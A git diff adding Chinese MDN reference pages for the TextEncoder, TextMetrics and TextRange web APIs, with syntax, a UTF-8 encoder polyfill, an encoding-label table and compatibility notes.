+ + diff --git a/files/zh-cn/web/api/textencoder/encode/index.html b/files/zh-cn/web/api/textencoder/encode/index.html new file mode 100644 index 0000000000..96c91994bd --- /dev/null +++ b/files/zh-cn/web/api/textencoder/encode/index.html @@ -0,0 +1,74 @@ +--- +title: TextEncoder.prototype.encode() +slug: Web/API/TextEncoder/encode +tags: + - 文本编码 + - 编码 +translation_of: Web/API/TextEncoder/encode +--- +
{{APIRef("Encoding API")}}
+ +

TextEncoder.prototype.encode() 方法接受一个 {{domxref("USVString")}} 作为参数,返回一个以给定的文本(字符串)参数,通过 TextEncoder 中指定的方法(默认 UTF-8)编码后的 {{jsxref("Global_Objects/Uint8Array", "Uint8Array")}} 类型的值。

+ +

语法

+ +
b1 = encoder.encode(string);
+
+ +

参数

+ +
+
string
+
一个包含了将要编码的文本的 {{DOMxRef("USVString")}}。
+
+ +

返回值

+ +

一个 {{domxref("Uint8Array")}} 对象。

+ +

示例

+ +
<p class="source">This is a sample paragraph.</p>
+<p class="result">Encoded result: </p>
+ +
const sourcePara = document.querySelector('.source');
+const resultPara = document.querySelector('.result');
+const string = sourcePara.textContent;
+
+const textEncoder = new TextEncoder();
+
+let encoded = textEncoder.encode(string);
+resultPara.textContent += encoded;
+ +

{{EmbedLiveSample('Examples')}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Encoding", "#dom-textencoder-encode", "TextEncoder.prototype.encode()")}}{{Spec2("Encoding")}}Initial definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.TextEncoder.encode")}}

+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/textencoder/encoding/index.html b/files/zh-cn/web/api/textencoder/encoding/index.html new file mode 100644 index 0000000000..602a16c5ff --- /dev/null +++ b/files/zh-cn/web/api/textencoder/encoding/index.html @@ -0,0 +1,49 @@ +--- +title: TextEncoder.encoding +slug: Web/API/TextEncoder/encoding +translation_of: Web/API/TextEncoder/encoding +--- +

{{APIRef("DOM")}}

+ +

{{ SeeCompatTable }}

+ +

TextEncoder.encoding 只读属性返回一个{{domxref("DOMString")}} ,其中包含特定编码器使用的编码算法的名称。

+ +

现在只会返回“utf-8”。

+ +

语法

+ +
b = encoder.encoding;
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Encoding', '#dom-textencoder-encoding', 'TextEncoder.encoding')}}{{Spec2('Encoding')}}Initial definition.
+ +

浏览器支持

+ +
+
+ + +

{{Compat("api.TextEncoder.encoding")}}

+
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/textencoder/index.html b/files/zh-cn/web/api/textencoder/index.html new file mode 100644 index 0000000000..223674f74b --- /dev/null +++ b/files/zh-cn/web/api/textencoder/index.html @@ -0,0 +1,150 @@ +--- +title: TextEncoder +slug: Web/API/TextEncoder +tags: + - API + - 参考 + - 接口 + - 编码 +translation_of: Web/API/TextEncoder +--- +
{{APIRef("Encoding API")}}
+ +

TextEncoder 接受代码点流作为输入,并提供 UTF-8 字节流作为输出。

+ +
+

Note: There is a polyfill implementation to support non-UTF-8 text encodings on GitHub.

+
+ +

例子

+ +
const encoder = new TextEncoder()
+const view = encoder.encode('€')
+console.log(view); // Uint8Array(3) [226, 130, 172]
+
+ +

构造器

+ +
+
{{domxref("TextEncoder.TextEncoder", "TextEncoder()")}}
+
返回一个新构造的 TextEncoder,它默认使用 UTF-8 编码将代码点流转换成字节流。
+
+ +

属性

+ +

TextEncoder 接口不继承任何属性。

+ +
+
{{domxref("TextEncoder.encoding")}} {{readonlyInline}}
+
总是返回 "utf-8"。
+
+ +

方法

+ +

TextEncoder 接口不继承任何方法。

+ +
+
{{domxref("TextEncoder.encode()")}}
+
接受一个 {{domxref("USVString")}} 作为输入,返回一个包含文本的 {{jsxref("Uint8Array")}},其中的文本使用 UTF-8 编码。
+
{{DOMxRef("TextEncoder.prototype.encodeInto()")}}
+
接受一个 {{domxref("USVString")}} 作为输入、一个{{jsxref("Uint8Array")}} 作为输出目标,返回一个指示编码进度的目录(dictionary)对象。此方法的性能可能回比更早出现的 encode() 方法好一些。
+
+ +

Polyfill

+ +

The below polyfill is compliant with the standard and therefore only supports UTF-8. It is designed to work in IE5 "out of the box". However, in IE5-IE9, it will return a regular Array instead of a TypedArray. In those cases a polyfill might be impractical for large strings. Finally, note that you should run the below code through a minifier (especially closure compiler) to turn sequences like 0x1e << 3 into 0xf0. These sequences are not already precomputed because they serve to aesthetically illustrate how the polyfill works.

+ +
if (typeof TextEncoder === "undefined") {
+    TextEncoder=function TextEncoder(){};
+    TextEncoder.prototype.encode = function encode(str) {
+        "use strict";
+        var Len = str.length, resPos = -1;
+        // The Uint8Array's length must be at least 3x the length of the string because an invalid UTF-16
+        //  takes up the equivelent space of 3 UTF-8 characters to encode it properly. However, Array's
+        //  have an auto expanding length and 1.5x should be just the right balance for most uses.
+        var resArr = typeof Uint8Array === "undefined" ? new Array(Len * 1.5) : new Uint8Array(Len * 3);
+        for (var point=0, nextcode=0, i = 0; i !== Len; ) {
+            point = str.charCodeAt(i), i += 1;
+            if (point >= 0xD800 && point <= 0xDBFF) {
+                if (i === Len) {
+                    resArr[resPos += 1] = 0xef/*0b11101111*/; resArr[resPos += 1] = 0xbf/*0b10111111*/;
+                    resArr[resPos += 1] = 0xbd/*0b10111101*/; break;
+                }
+                // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+                nextcode = str.charCodeAt(i);
+                if (nextcode >= 0xDC00 && nextcode <= 0xDFFF) {
+                    point = (point - 0xD800) * 0x400 + nextcode - 0xDC00 + 0x10000;
+                    i += 1;
+                    if (point > 0xffff) {
+                        resArr[resPos += 1] = (0x1e/*0b11110*/<<3) | (point>>>18);
+                        resArr[resPos += 1] = (0x2/*0b10*/<<6) | ((point>>>12)&0x3f/*0b00111111*/);
+                        resArr[resPos += 1] = (0x2/*0b10*/<<6) | ((point>>>6)&0x3f/*0b00111111*/);
+                        resArr[resPos += 1] = (0x2/*0b10*/<<6) | (point&0x3f/*0b00111111*/);
+                        continue;
+                    }
+                } else {
+                    resArr[resPos += 1] = 0xef/*0b11101111*/; resArr[resPos += 1] = 0xbf/*0b10111111*/;
+                    resArr[resPos += 1] = 0xbd/*0b10111101*/; continue;
+                }
+            }
+            if (point <= 0x007f) {
+                resArr[resPos += 1] = (0x0/*0b0*/<<7) | point;
+            } else if (point <= 0x07ff) {
+                resArr[resPos += 1] = (0x6/*0b110*/<<5) | (point>>>6);
+                resArr[resPos += 1] = (0x2/*0b10*/<<6)  | (point&0x3f/*0b00111111*/);
+            } else {
+                resArr[resPos += 1] = (0xe/*0b1110*/<<4) | (point>>>12);
+                resArr[resPos += 1] = (0x2/*0b10*/<<6)    | ((point>>>6)&0x3f/*0b00111111*/);
+                resArr[resPos += 1] = (0x2/*0b10*/<<6)    | (point&0x3f/*0b00111111*/);
+            }
+        }
+        if (typeof Uint8Array !== "undefined") return resArr.subarray(0, resPos + 1);
+        // else // IE 6-9
+        resArr.length = resPos + 1; // trim off extra weight
+        return resArr;
+    };
+    TextEncoder.prototype.toString = function(){return "[object TextEncoder]"};
+    try { // Object.defineProperty only works on DOM prototypes in IE8
+        Object.defineProperty(TextEncoder.prototype,"encoding",{
+            get:function(){if(TextEncoder.prototype.isPrototypeOf(this)) return"utf-8";
+                           else throw TypeError("Illegal invocation");}
+        });
+    } catch(e) { /*IE6-8 fallback*/ TextEncoder.prototype.encoding = "utf-8"; }
+    if(typeof Symbol!=="undefined")TextEncoder.prototype[Symbol.toStringTag]="TextEncoder";
+}
+
+ +

Source: https://github.com/anonyco/FastestSmallestTextEncoderDecoder

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Encoding', '#interface-textencoder', 'TextEncoder')}}{{Spec2('Encoding')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.TextEncoder")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/textencoder/textencoder/index.html b/files/zh-cn/web/api/textencoder/textencoder/index.html new file mode 100644 index 0000000000..ce65b791c4 --- /dev/null +++ b/files/zh-cn/web/api/textencoder/textencoder/index.html @@ -0,0 +1,294 @@ +--- +title: TextEncoder() +slug: Web/API/TextEncoder/TextEncoder +tags: + - TextEncoder + - 接口 + - 编码 + - 编码器 +translation_of: Web/API/TextEncoder/TextEncoder +--- +

{{apiref("TextEncoder")}}{{seeCompatTable}}

+ +

The TextEncoder() 构造函数返回一个新创建的{{domxref("TextEncoder")}}对象。

+ +

语法

+ +
encoder = new TextEncoder();
+
+ +

参数

+ +
+
+
    +
  • TextEncoder() 从 Firefox 48 and Chrome 53 开始不再需要参数
  • +
+ +

Note: 在Firefox 48和Chrome 53之前,编码类型标签被接受为TextEncoder对象的参数,现在这两个浏览器已经删除了除utf-8之外的任何编码器类型的支持,以符合规范。 传入TextEncoder构造函数的任何类型标签现在都将被忽略,并且将创建一个utf-8 TextEncoder。

+
+
+ + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Possible values of utfLabelEncoding
"unicode-1-1-utf-8", "utf-8", "utf8"'utf-8'
"866", "cp866", "csibm866", "ibm866"{{interwiki('wikipedia', 'Code_page_866', "'ibm866'")}}
"csisolatin2", "iso-8859-2", "iso-ir-101", "iso8859-2", "iso88592", "iso_8859-2", "iso_8859-2:1987", "l2", "latin2"{{interwiki('wikipedia', 'ISO/IEC_8859-2', "'iso-8859-2'")}}
"csisolatin3", "iso-8859-3", "iso-ir-109", "iso8859-3", "iso88593", "iso_8859-3", "iso_8859-3:1988", "l3", "latin3"{{interwiki('wikipedia', 'ISO/IEC_8859-3', "'iso-8859-3'")}}
"csisolatin4", "iso-8859-4", "iso-ir-110", "iso8859-4", "iso88594", "iso_8859-4", "iso_8859-4:1988", "l4", "latin4"{{interwiki('wikipedia', 'ISO/IEC_8859-4', "'iso-8859-4'")}}
"csisolatincyrillic", "cyrillic", "iso-8859-5", "iso-ir-144", "iso88595", "iso_8859-5", "iso_8859-5:1988"{{interwiki('wikipedia', 'ISO/IEC_8859-5', "'iso-8859-5'")}}
"arabic", "asmo-708", "csiso88596e", "csiso88596i", "csisolatinarabic", "ecma-114", "iso-8859-6", "iso-8859-6-e", "iso-8859-6-i", "iso-ir-127", "iso8859-6", "iso88596", "iso_8859-6", "iso_8859-6:1987"{{interwiki('wikipedia', 'ISO/IEC_8859-6', "'iso-8859-6'")}}
"csisolatingreek", "ecma-118", "elot_928", "greek", "greek8", "iso-8859-7", "iso-ir-126", "iso8859-7", "iso88597", "iso_8859-7", "iso_8859-7:1987", "sun_eu_greek"{{interwiki('wikipedia', 'ISO/IEC_8859-7', "'iso-8859-7'")}}
"csiso88598e", "csisolatinhebrew", "hebrew", "iso-8859-8", "iso-8859-8-e", "iso-ir-138", "iso8859-8", "iso88598", "iso_8859-8", "iso_8859-8:1988", "visual"{{interwiki('wikipedia', 'ISO/IEC_8859-8', "'iso-8859-8'")}}
"csiso88598i", "iso-8859-8-i", "logical"{{interwiki('wikipedia', 'ISO-8859-8-I', "'iso-8859-8i'")}}
"csisolatin6", "iso-8859-10", "iso-ir-157", "iso8859-10", "iso885910", "l6", "latin6"{{interwiki('wikipedia', 'ISO/IEC_8859-10', "'iso-8859-10'")}}
"iso-8859-13", "iso8859-13", "iso885913"{{interwiki('wikipedia', 'ISO/IEC_8859-13', "'iso-8859-13'")}}
"iso-8859-14", "iso8859-14", "iso885914"{{interwiki('wikipedia', 'ISO/IEC_8859-14', "'iso-8859-14'")}}
"csisolatin9", "iso-8859-15", "iso8859-15", "iso885915", "l9", "latin9"{{interwiki('wikipedia', 'ISO/IEC_8859-15', "'iso-8859-15'")}}
"iso-8859-16"{{interwiki('wikipedia', 'ISO/IEC_8859-16', "'iso-8859-16'")}}
"cskoi8r", "koi", "koi8", "koi8-r", "koi8_r"{{interwiki('wikipedia', 'KOI8-R', "'koi8-r'")}}
"koi8-u"{{interwiki('wikipedia', 'KOI8-U', "'koi8-u'")}}
"csmacintosh", "mac", "macintosh", "x-mac-roman"{{interwiki('wikipedia', 'Mac OS Roman', "'macintosh'")}}
"dos-874", "iso-8859-11", "iso8859-11", "iso885911", "tis-620", "windows-874"{{interwiki('wikipedia', 'Windows-874', "'windows-874'")}}
"cp1250", "windows-1250", "x-cp1250"{{interwiki('wikipedia', 'Windows-1250', "'windows-1250'")}}
"cp1251", "windows-1251", "x-cp1251"{{interwiki('wikipedia', 'Windows-1251', "'windows-1251'")}}
"ansi_x3.4-1968", "ascii", "cp1252", "cp819", "csisolatin1", "ibm819", "iso-8859-1", "iso-ir-100", "iso8859-1", "iso88591", "iso_8859-1", "iso_8859-1:1987", "l1", "latin1", "us-ascii", "windows-1252", "x-cp1252"{{interwiki('wikipedia', 'Windows-1252', "'windows-1252'")}}
"cp1253", "windows-1253", "x-cp1253"{{interwiki('wikipedia', 'Windows-1253', "'windows-1253'")}}
"cp1254", "csisolatin5", "iso-8859-9", "iso-ir-148", "iso8859-9", "iso88599", "iso_8859-9", "iso_8859-9:1989", "l5", "latin5", "windows-1254", "x-cp1254"{{interwiki('wikipedia', 'Windows-1254', "'windows-1254'")}}
"cp1255", "windows-1255", "x-cp1255"{{interwiki('wikipedia', 'Windows-1255', "'windows-1255'")}}
"cp1256", "windows-1256", "x-cp1256"{{interwiki('wikipedia', 'Windows-1256', "'windows-1256'")}}
"cp1257", "windows-1257", "x-cp1257"{{interwiki('wikipedia', 'Windows-1257', "'windows-1257'")}}
"cp1258", "windows-1258", "x-cp1258"{{interwiki('wikipedia', 'Windows-1258', "'windows-1258'")}}
"x-mac-cyrillic", "x-mac-ukrainian"{{interwiki('wikipedia', 'Macintosh Cyrillic encoding', "'x-mac-cyrillic'")}}
"chinese", "csgb2312", "csiso58gb231280", "gb2312", "gb_2312", "gb_2312-80", "gbk", "iso-ir-58", "x-gbk"{{interwiki('wikipedia', 'GBK', "'gbk'")}}
"gb18030"{{interwiki('wikipedia', 'GB_18030', "'gb18030'")}}
"hz-gb-2312"{{interwiki('wikipedia', 'HZ_(character_encoding)', "'hz-gb-2312'")}}
"big5", "big5-hkscs", "cn-big5", "csbig5", "x-x-big5"{{interwiki('wikipedia', 'Big5', "'big5'")}}
"cseucpkdfmtjapanese", "euc-jp", "x-euc-jp"{{interwiki('wikipedia', 'Extended_Unix_Code#EUC-JP', "'euc-jp'")}}
"csiso2022jp", "iso-2022-jp"{{interwiki('wikipedia', 'ISO/IEC_2022#ISO-2022-JP', "'iso-2022-jp'")}}
"csshiftjis", "ms_kanji", "shift-jis", "shift_jis", "sjis", "windows-31j", "x-sjis"{{interwiki('wikipedia', 'Shift JIS', "'shift-jis'")}}
"cseuckr", "csksc56011987", "euc-kr", "iso-ir-149", "korean", "ks_c_5601-1987", "ks_c_5601-1989", "ksc5601", "ksc_5601", "windows-949"{{interwiki('wikipedia', 'Extended_Unix_Code#EUC-KR', "'euc-kr'")}}
"csiso2022kr", "iso-2022-kr"{{interwiki('wikipedia', 'ISO/IEC_2022#ISO-2022-KR', "'iso-2022-kr'")}}
"utf-16be"{{interwiki('wikipedia', 'UTF-16#Byte_order_encoding_schemes', "'utf-16be'")}}
"utf-16", "utf-16le"{{interwiki('wikipedia', 'UTF-16#Byte_order_encoding_schemes', "'utf-16le'")}}
"x-user-defined"'x-user-defined'
"iso-2022-cn", "iso-2022-cn-ext"'replacement'
+
+
+ +

例子

+ +
var textEncoder = new TextEncoder("iso-8859-1");
+ +

标注

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Encoding', '#dom-textencoder', 'TextEncode()')}}{{Spec2('Encoding')}}Initial definition.
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatNo}}{{CompatGeckoDesktop("19.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile("19.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/textmetrics/index.html b/files/zh-cn/web/api/textmetrics/index.html new file mode 100644 index 0000000000..97f5a5fa5a --- /dev/null +++ b/files/zh-cn/web/api/textmetrics/index.html @@ -0,0 +1,71 @@ +--- +title: TextMetrics +slug: Web/API/TextMetrics +translation_of: Web/API/TextMetrics +--- +
{{APIRef("Canvas API")}}
+ +

在 canvas 中,TextMetrics 接口表示文本的尺寸,通过 {{domxref("CanvasRenderingContext2D.measureText()")}} 方法创建。

+ +

属性

+ +
+
{{domxref("TextMetrics.width")}} {{readonlyInline}}
+
double 类型,使用 CSS 像素计算的内联字符串的宽度。基于当前上下文字体考虑。
+
{{domxref("TextMetrics.actualBoundingBoxLeft")}} {{readonlyInline}}
+
double 类型,平行于基线,从{{domxref("CanvasRenderingContext2D.textAlign")}} 属性确定的对齐点到文本矩形边界左侧的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.actualBoundingBoxRight")}} {{readonlyInline}}
+
double 类型,平行于基线,从{{domxref("CanvasRenderingContext2D.textAlign")}} 属性确定的对齐点到文本矩形边界右侧的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.fontBoundingBoxAscent")}} {{readonlyInline}}
+
double 类型,从{{domxref("CanvasRenderingContext2D.textBaseline")}} 属性标明的水平线到渲染文本的所有字体的矩形最高边界顶部的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.fontBoundingBoxDescent")}} {{readonlyInline}}
+
double 类型,从{{domxref("CanvasRenderingContext2D.textBaseline")}} 属性标明的水平线到渲染文本的所有字体的矩形边界最底部的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.actualBoundingBoxAscent")}} {{readonlyInline}}
+
double 类型,从{{domxref("CanvasRenderingContext2D.textBaseline")}} 属性标明的水平线到渲染文本的矩形边界顶部的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.actualBoundingBoxDescent")}} {{readonlyInline}}
+
double 类型,从{{domxref("CanvasRenderingContext2D.textBaseline")}} 属性标明的水平线到渲染文本的矩形边界底部的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.emHeightAscent")}} {{readonlyInline}}
+
double 类型,从{{domxref("CanvasRenderingContext2D.textBaseline")}} 属性标明的水平线到线框中 em 方块顶部的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.emHeightDescent")}} {{readonlyInline}}
+
double 类型,从{{domxref("CanvasRenderingContext2D.textBaseline")}} 属性标明的水平线到线框中 em 方块底部的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.hangingBaseline")}} {{readonlyInline}}
+
double 类型,从{{domxref("CanvasRenderingContext2D.textBaseline")}} 属性标明的水平线到线框的 hanging 基线的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.alphabeticBaseline")}} {{readonlyInline}}
+
double 类型,从{{domxref("CanvasRenderingContext2D.textBaseline")}} 属性标明的水平线到线框的 alphabetic 基线的距离,使用 CSS 像素计算。
+
{{domxref("TextMetrics.ideographicBaseline")}} {{readonlyInline}}
+
double 类型,从{{domxref("CanvasRenderingContext2D.textBaseline")}} 属性标明的水平线到线框的 ideographic 基线的距离,使用 CSS 像素计算。
+
+ +

规范描述

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "the-canvas-element.html#textmetrics", "TextMetrics")}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.TextMetrics")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/textmetrics/width/index.html b/files/zh-cn/web/api/textmetrics/width/index.html new file mode 100644 index 0000000000..9ddc4e35bb --- /dev/null +++ b/files/zh-cn/web/api/textmetrics/width/index.html @@ -0,0 +1,101 @@ +--- +title: TextMetrics.width +slug: Web/API/TextMetrics/width +translation_of: Web/API/TextMetrics/width +--- +
{{APIRef("Canvas API")}}
+ +

只读的 TextMetrics.width 属性,包含文本先前的宽度(行内盒子的宽度),使用 CSS 像素计算。

+ +

语法

+ +
readonly metrics.width;
+ +

示例

+ +

事先给定 {{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas"></canvas>
+
+ +

你可以使用下面的代码得到一个 {{domxref("TextMetrics")}} 对象:

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var text = ctx.measureText("foo"); // TextMetrics object
+text.width; // 16;
+
+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-textmetrics-width", "TextMetrics.width")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support4.0{{CompatGeckoDesktop("1.8")}}9.09.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support2.1{{CompatGeckoMobile("1.8")}}{{CompatUnknown}}10.03.2
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/textrange/index.html b/files/zh-cn/web/api/textrange/index.html new file mode 100644 index 0000000000..49953cf26c --- /dev/null +++ b/files/zh-cn/web/api/textrange/index.html @@ -0,0 +1,155 @@ +--- +title: TextRange +slug: Web/API/TextRange +tags: + - API + - DHTML + - DOM + - TextRange +--- +
{{ ApiRef("DOM") }}{{Non-standard_Header}}
+ +
+

IE Only

+该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
+ +

TextRange 对象表示文档中的文本片段,类似于标准定义的 {{domxref("Range")}} 接口。

+ +

此对象用于表示文档中特定的一段文本,例如在按住鼠标选中页面上的内容时,创建出的就是一个较为典型的 TextRange。它在IE中被实现,可通过 {{domxref("Element.createTextRange()")}} 方法或是 {{domxref("MSSelection.createRange()")}} 方法创建一个 TextRange 对象。

+ +

注意,在非IE浏览器不支持该接口,可使用替代的 {{domxref("Selection")}} 及 {{domxref("Range")}} 接口。

+ +

属性

+ +
+
{{domxref("TextRange.boundingHeight")}}{{ReadOnlyInline}}
+
+

返回绑定 TextRange 对象的矩形的高度。

+
+
{{domxref("TextRange.boundingLeft")}}{{ReadOnlyInline}}
+
返回绑定 TextRange 对象的矩形左边缘和完全包含 TextRange 对象的左侧之间的距离。
+
{{domxref("TextRange.boundingTop")}}{{ReadOnlyInline}}
+
返回绑定 TextRange 对象的矩形上边缘和完全包含 TextRange 对象的顶边之间的距离。
+
{{domxref("TextRange.boundingWidth")}}{{ReadOnlyInline}}
+
返回绑定 TextRange 对象的矩形的宽度。
+
{{domxref("TextRange.htmlText")}}
+
获取或设置 TextRange 内的HTML内容。
+
{{domxref("TextRange.text")}}
+
获取或设置 TextRange 内的纯文本内容。
+
+ +

方法

+ +
+
{{domxref("TextRange.collapse()")}}
+
将插入光标(Caret)移动到当前范围的开始或结尾。
+
{{domxref("TextRange.duplicate()")}}
+
返回 TextRange 的副本。
+
{{domxref("TextRange.execCommand()")}}
+
在当前文档、当前选中区或给定范围上执行命令
+
{{domxref("TextRange.expand()")}}
+
扩展区域,以便完全包含指定单位的范围。例如,扩展一个 "word" 表示把区域两端的单词完全包含在区域内,如 xpand to wor 可能变成 expand to words
+
{{domxref("TextRange.findText()")}}
+
搜索原先区域内的指定文本,并调整区域使其包含第一次匹配的内容。
+
{{domxref("TextRange.inRange()")}}
+
返回当前区域是否包含指定区域。
+
{{domxref("TextRange.isEqual()")}}
+
返回当前区域是否与指定区域相等。
+
{{domxref("TextRange.move()")}}
+
将区域折叠(collapse),并将空白区域移动指定单位数。如 move("character",-1) 表示向左移动一个字符。
+
{{domxref("TextRange.moveEnd()")}}
+
将区域的结束位置移动指定单位数。
+
{{domxref("TextRange.moveStart()")}}
+
将区域的开始位置移动指定单位数。
+
{{domxref("TextRange.moveToElementText()")}}
+
使区域包含指定元素的文本。只能用于 {{domxref("Element")}} 对象。
+
{{domxref("TextRange.parentElement()")}}
+
返回区域的父元素,也就是完全包含区域的最小元素。如果选区包含多个元素,则当修改选区的内容时,内容将放置在该父元素的对应位置中,而不是放在子元素中。
+
{{domxref("TextRange.pasteHTML()")}}
+
将HTML内容粘贴入给定范围,并替换范围内任何先前的文本和 HTML 元素。
+
{{domxref("TextRange.queryCommandEnabled()")}}
+
返回表明指定命令是否可于给定文档当前状态下使用 execCommand 命令成功执行的 {{jsxref("Boolean")}} 值。参见 {{domxref("Document.queryCommandEnabled()")}}。
+
{{domxref("TextRange.queryCommandState()")}}
+
返回表明指定命令当前状态的 {{jsxref("Boolean")}} 值。参见 {{domxref("Document.queryCommandState()")}}。
+
{{domxref("TextRange.queryCommandValue()")}}
+
返回表明指定命令当前值的 {{domxref("DOMString")}}。参见 {{domxref("Document.queryCommandValue()")}}。
+
{{domxref("TextRange.scrollIntoView()")}}
+
将区域滚动到可视范围内(顶部或底部)。可作为 {{domxref("Element.scrollIntoView")}} 在低版本IE下的一种替代方法。
+
{{domxref("TextRange.select()")}}
+
将当前区域选中(即用户看到的蓝色选区)。
+
{{domxref("TextRange.setEndPoint()")}}
+
根据其它 TextRange 的端点设置当前区域的结束点。
+
+ +

示例

+ +

以下示例在IE10以下有效。该示例通过 document.selection 获取 TextRange,并设置选中指定的元素。IE9以上支持标准的替代方案 {{domxref("Range")}}。

+ +
var range = document.selection.createRange();
+var element = document.getElementById("test");
+range.moveToElementText(element);
+range.select();
+// 选中"一些将被选中的文本"
+ +
<!DOCTYPE html>
+<html>
+<head>
+  <title>TextRange示例</title>
+</head>
+<body>
+  <p id="test">一些将被选中的文本</p>
+</body>
+</html>
+ +

开发者笔记

+ +

使用 TextRange 操作选中区域

+ +
+

仅在IE10以下有效。在浏览器允许的情况下,应优先使用 {{domxref("Selection")}} 接口。

+
+ +

{{domxref("document.selection")}} 属性返回一个非标准的 {{domxref("MSSelection")}} 对象,selection.createRange() 方法创建一个和当前选中区域一致的 TextRange 对象。

+ +
var sel = document.selection;
+var range = sel.createRange();
+alert(range.text);
+// 输出被选区域的纯文本
+ +

注意,createRange 方法并不创建引用,如果在对选区修改后希望修改后区域被选中,则需要调用 TextRange.select 方法。

+ +

selection 兼容性

+ +

document.selection 对象是 TextRange 的主要用途。该对象用于处理文档中被选中的区域,并且主要依靠使用 TextRange 接口实现。标准规定一个窗口/文档可能有多个不相邻选区,但只有Firefox实现通过 Ctrl 选中多个区域;IE中一般也只允许文档只存在一个被选中的 TextRange

+ +

然而,在其它浏览器中,document 并不存在一个所谓 selection 属性——它们通过标准 Selection API 实现对选区的操作,也就是通过 window.getSelection() 方法获取 Selection 对象,并使用标准的 Range 对象对文本片段作出处理。IE11及之后的版本也放弃了 document.selection 对象而转为使用标准接口(尽管 TextRange 一直保留,但大多数情况下它已失去作用)。

+ +

这很容易引起迷惑。通常,如果脚本只要求兼容最新的浏览器,那么标准的接口是最佳的选择;但通常目前的网站仍希望兼容IE8或其以下的浏览器,因此,最好的做法是同时处理两者,也就是在不支持标准接口时尝试使用 TextRange 方式,但不要把该方式作为唯一的选择。

+ +

浏览器兼容性

+ + + + + + + + + + + + + + + + + + +
IE其它浏览器
{{domxref("TextRange")}} {{non-standard_inline()}}支持(IE9后应使用标准API)不支持(详见Selection API
+ +

扩展

+ + diff --git a/files/zh-cn/web/api/textrange/text/index.html b/files/zh-cn/web/api/textrange/text/index.html new file mode 100644 index 0000000000..ae485dd58e --- /dev/null +++ b/files/zh-cn/web/api/textrange/text/index.html @@ -0,0 +1,72 @@ +--- +title: TextRange.text +slug: Web/API/TextRange/text +tags: + - API + - DHTML + - DOM + - TextRange +--- +
{{ ApiRef("DOM") }}{{Non-standard_Header}}
+ +
+

IE Only

+该属性是IE专有的。尽管IE很好地支持它,但大部分其它浏览器已经不支持该属性。该属性仅应在需兼容低版本IE时作为其中一种方案,而不是在跨浏览器的脚本中完全依赖它。
+ +

{{domxref("TextRange")}} 接口中的属性 text 用于以 {{domxref("DOMString")}} 形式获取或设置区域内的纯文本内容。该更改直接作用到 DOM 树中,并清除区域内原有的非纯文本元素。注意,该属性忽略所有格式数据,因此若要获取选区中的HTML内容,请使用 {{domxref("TextRange.htmlText")}} 属性。

+ +

语法

+ +
var tString = textRange.text;
+textRange.text = oString;
+
+ +

返回值

+ +

一个 {{domxref("DOMString")}}。

+ +

示例

+ +

以下示例在IE9以下有效。该示例通过 document.selection 获取 TextRange,并过滤选区中的富文本元素。IE9以上支持标准的替代方案 {{domxref("Range")}}。

+ +
var range = document.selection.createRange();
+range.htmlText = range.text;
+// 将富文本内容设置为纯文本内容,则区域也就变为纯文本。
+
+ +

开发者笔记

+ +

关于 text 属性

+ +

注意,当通过该属性操作或获取时,不会得到包含非纯文本的信息;如果通过该属性设置,则区域内的元素将被删除,之后通常会变为一个包含指定内容的文本节点。因此,即使通过这个属性操作纯文本内容,结果也将剔除原先的所有格式数据。

+ +

如果希望脚本的功能明确可读,最好的办法是不要同时使用该属性和 htmlText 属性设置数据。另外,该属性不是标准的,它从IE4开始在IE中实现,但不在其它浏览器的规范中。

+ +

浏览器兼容性

